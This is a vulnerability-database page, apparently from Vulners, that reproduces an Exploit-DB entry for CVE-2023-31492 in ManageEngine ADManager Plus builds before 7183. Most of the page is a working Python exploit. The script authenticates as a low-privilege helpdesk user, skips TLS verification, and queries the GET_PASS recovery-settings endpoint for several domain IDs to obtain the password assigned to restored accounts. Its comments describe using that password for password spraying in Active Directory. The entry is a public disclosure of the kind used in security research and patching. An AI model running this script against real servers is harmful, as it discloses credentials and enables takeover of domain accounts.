Lucene search
+L

ManageEngine ADManager Plus Build < 7183 - Recovery Password Disclosure

🗓️ 13 Feb 2024 00:00:00Reported by Metin Yunus KandemirType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 436 Views

ManageEngine ADManager Plus Build &lt; 7183 - Recovery Password Disclosur

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
ManageEngine ADManager Plus Build < 7183 - Recovery Password Disclosure Exploit
13 Feb 202400:00
–zdt
attackerkb
attackerkb
CVE-2023-31492
17 Aug 202323:15
–attackerkb
bdu_fstec
BDU FSTEC
Zoho ManageEngine ADManager Plus Unauthorized Access
28 Aug 202300:00
–bdu_fstec
circl
Circl
CVE-2023-31492
14 Feb 202422:24
–circl
cnnvd
CNNVD
ZOHO ManageEngine ADManager Plus has security vulnerabilities
17 Aug 202300:00
–cnnvd
cve
CVE
CVE-2023-31492
17 Aug 202300:00
–cve
cvelist
Cvelist
CVE-2023-31492
17 Aug 202300:00
–cvelist
nvd
NVD
CVE-2023-31492
17 Aug 202323:15
–nvd
osv_cve
osv_cve
CVE-2023-31492
17 Aug 202323:15
–osv_cve
packetstorm
Packet Storm
ManageEngine ADManager Plus Recovery Password Disclosure
13 Feb 202400:00
–packetstorm
Rows per page
# Exploit Title: ManageEngine ADManager Plus Build < 7183 - Recovery Password Disclosure
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: https://www.manageengine.com/
# Software Link: https://www.manageengine.com/products/ad-manager/
# Details: https://docs.unsafe-inline.com/0day/manageengine-admanager-plus-build-less-than-7183-recovery-password-disclosure-cve-2023-31492
# Details: https://github.com/passtheticket/vulnerability-research/blob/main/manage-engine-apps/admanager-recovery-password-disclosure.md
# Version: ADManager Plus Build < 7183
# Tested against: Build 7180
# CVE: CVE-2023-31492

import argparse
import requests
import urllib3
import sys

"""
The Recovery Settings helps you configure the restore and recycle options pertaining to the objects in the domain you wish to recover.
When deleted user accounts are restored, defined password is set to the user accounts.
Helpdesk technician that has not privilege for backup/recovery operations can view the password and then compromise restored user accounts conducting password spraying attack in the Active Directory environment.
"""

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def getPass(target, auth, user, password):
    with requests.Session() as s:
        if auth.lower() == 'admanager':
            auth = 'ADManager Plus Authentication'
        data = {
            "is_admp_pass_encrypted": "false",
            "j_username": user,
            "j_password": password,
            "domainName": auth,
            "AUTHRULE_NAME": "ADAuthenticator"
        }
        # Login
        url = target + 'j_security_check?LogoutFromSSO=true'
        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0",
            "Content-Type": "application/x-www-form-urlencoded"
        }
        req = s.post(url, data=data, headers=headers, allow_redirects=True, verify=False)
        if 'Cookie' in req.request.headers:
            print('[+] Authentication successful!')
        elif req.status_code == 200:
            print('[-] Invalid login name/password!')
            sys.exit(0)
        else:
            print('[-] Something went wrong!')
            sys.exit(1)

        # Fetching recovery password
        for i in range(1, 6):
            print('[*] Trying to fetch recovery password for domainId: %s !' % i)
            passUrl = target + 'ConfigureRecoverySettings/GET_PASS?req=%7B%22domainId%22%3A%22' + str(i) + '%22%7D'
            passReq = s.get(passUrl, headers=headers, allow_redirects=False, verify=False)
            if passReq.content:
                print(passReq.content)


def main():
    arg = get_args()
    target = arg.target
    auth = arg.auth
    user = arg.user
    password = arg.password
    getPass(target, auth, user, password)


def get_args():
    parser = argparse.ArgumentParser(
        epilog="Example: exploit.py -t https://target/ -a unsafe.local -u operator1 -p operator1")
    parser.add_argument('-t', '--target', required=True, action='store', help='Target url')
    parser.add_argument('-a', '--auth', required=True, action='store',
                        help='If you have credentials of the application user, type admanager. If you have credentials of the domain user, type domain DNS name of the target domain.')
    parser.add_argument('-u', '--user', required=True, action='store')
    parser.add_argument('-p', '--password', required=True, action='store')
    args = parser.parse_args()
    return args


main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Feb 2024 00:00Current
6.4Medium risk
Vulners AI Score6.4
CVSS 3.16.5
EPSS0.07899
SSVC
436